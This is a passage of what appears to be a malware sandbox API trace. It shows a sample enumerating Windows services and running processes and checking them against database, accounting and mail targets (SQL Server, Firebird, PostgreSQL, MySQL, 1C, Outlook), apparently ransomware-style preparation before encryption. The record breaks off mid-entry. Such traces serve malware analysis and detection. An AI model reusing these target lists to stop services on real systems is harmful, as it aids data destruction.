[0091.911] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0091.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0091.911] lstrlenW (lpString="LanmanServer") returned 12 [0091.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0091.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0091.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0091.911] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0091.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0091.911] lstrlenW (lpString="LanmanWorkstation") returned 17 [0091.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0091.911] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0091.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0091.911] lstrlenW (lpString="lmhosts") returned 7 [0091.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0091.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0091.911] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0091.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0091.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0091.912] lstrlenW (lpString="MMCSS") returned 5 [0091.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0091.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0091.912] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0091.912] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0091.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0091.912] lstrlenW (lpString="MpsSvc") returned 6 [0091.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0091.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0091.912] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0091.912] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0091.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0091.912] lstrlenW (lpString="Netman") returned 6 [0091.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0091.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0091.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0091.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0091.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0091.912] lstrlenW (lpString="netprofm") returned 8 [0091.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0091.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0091.912] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0091.912] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0091.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0091.913] lstrlenW (lpString="NlaSvc") returned 6 [0091.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0091.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0091.913] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0091.913] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0091.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0091.913] lstrlenW (lpString="nsi") returned 3 [0091.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0091.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0091.913] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0091.913] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0091.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0091.913] lstrlenW (lpString="PcaSvc") returned 6 [0091.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0091.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0091.913] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0091.913] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0091.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0091.913] lstrlenW (lpString="PlugPlay") returned 8 [0091.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0091.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0091.913] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0091.913] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0091.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0091.914] lstrlenW (lpString="Power") returned 5 [0091.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0091.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0091.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0091.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0091.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0091.914] lstrlenW (lpString="ProfSvc") returned 7 [0091.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0091.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0091.914] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0091.914] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0091.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0091.914] lstrlenW (lpString="RpcEptMapper") returned 12 [0091.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.914] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0091.914] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0091.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0091.914] lstrlenW (lpString="RpcSs") returned 5 [0091.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0091.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0091.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0091.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0091.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0091.915] lstrlenW (lpString="SamSs") returned 5 [0091.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0091.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0091.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0091.915] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0091.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0091.915] lstrlenW (lpString="Schedule") returned 8 [0091.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0091.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0091.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0091.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0091.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0091.916] lstrlenW (lpString="SENS") returned 4 [0091.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0091.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0091.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0091.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0091.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0091.916] lstrlenW (lpString="ShellHWDetection") returned 16 [0091.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0091.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0091.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0091.916] lstrlenW (lpString="Spooler") returned 7 [0091.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0091.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0091.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0091.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0091.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0091.917] lstrlenW (lpString="swprv") returned 5 [0091.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0091.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0091.917] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0091.917] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0091.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0091.917] lstrlenW (lpString="SysMain") returned 7 [0091.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0091.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0091.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0091.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0091.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0091.917] lstrlenW (lpString="Themes") returned 6 [0091.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0091.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0091.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0091.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0091.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0091.917] lstrlenW (lpString="TrkWks") returned 6 [0091.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0091.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0091.917] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0091.917] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0091.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0091.918] lstrlenW (lpString="UxSms") returned 5 [0091.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0091.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0091.918] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0091.918] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0091.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0091.918] lstrlenW (lpString="VSS") returned 3 [0091.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0091.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0091.918] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0091.918] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0091.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0091.918] lstrlenW (lpString="WdiServiceHost") returned 14 [0091.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0091.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0091.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0091.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0091.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0091.918] lstrlenW (lpString="WdiSystemHost") returned 13 [0091.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0091.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0091.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0091.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0091.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0091.918] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0091.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0091.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0091.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0091.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0091.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0091.918] lstrlenW (lpString="Winmgmt") returned 7 [0091.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0091.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0091.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0091.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0091.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0091.919] lstrlenW (lpString="WPDBusEnum") returned 10 [0091.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0091.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0091.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0091.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0091.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0091.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6227d0 | out: hHeap=0x5d0000) returned 1 [0091.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0091.937] Process32FirstW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.938] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.938] lstrlenW (lpString="System") returned 6 [0091.939] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0091.939] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0091.939] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0091.939] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0091.939] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0091.939] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0091.939] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0091.939] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0093.047] lstrlenW (lpString="smss.exe") returned 8 [0093.047] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0093.047] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0093.047] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0093.047] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0093.047] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0093.047] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0093.047] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0093.048] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.048] lstrlenW (lpString="csrss.exe") returned 9 [0093.048] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0093.048] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0093.048] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0093.049] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0093.049] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0093.049] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0093.049] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0093.049] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0093.049] lstrlenW (lpString="wininit.exe") returned 11 [0093.049] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0093.049] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0093.049] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0093.049] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0093.050] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0093.050] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0093.050] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0093.050] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.050] lstrlenW (lpString="csrss.exe") returned 9 [0093.050] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0093.050] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0093.051] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0093.051] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0093.051] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0093.051] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0093.051] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0093.051] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0093.052] lstrlenW (lpString="winlogon.exe") returned 12 [0093.052] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0093.052] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0093.052] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0093.052] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0093.052] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0093.052] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0093.052] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0093.052] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0093.053] lstrlenW (lpString="services.exe") returned 12 [0093.053] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0093.053] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0093.053] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0093.053] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0093.053] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0093.053] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0093.053] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0093.053] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0093.054] lstrlenW (lpString="lsass.exe") returned 9 [0093.054] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0093.054] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0093.054] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0093.054] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0093.054] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0093.054] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0093.054] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0093.054] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0093.055] lstrlenW (lpString="lsm.exe") returned 7 [0093.055] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0093.055] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0093.055] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0093.056] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0093.056] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0093.056] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0093.056] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0093.056] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.056] lstrlenW (lpString="svchost.exe") returned 11 [0093.056] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.057] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.057] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.057] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.058] lstrlenW (lpString="svchost.exe") returned 11 [0093.058] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.058] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.058] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.058] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.059] lstrlenW (lpString="svchost.exe") returned 11 [0093.059] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.059] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.059] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.059] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, 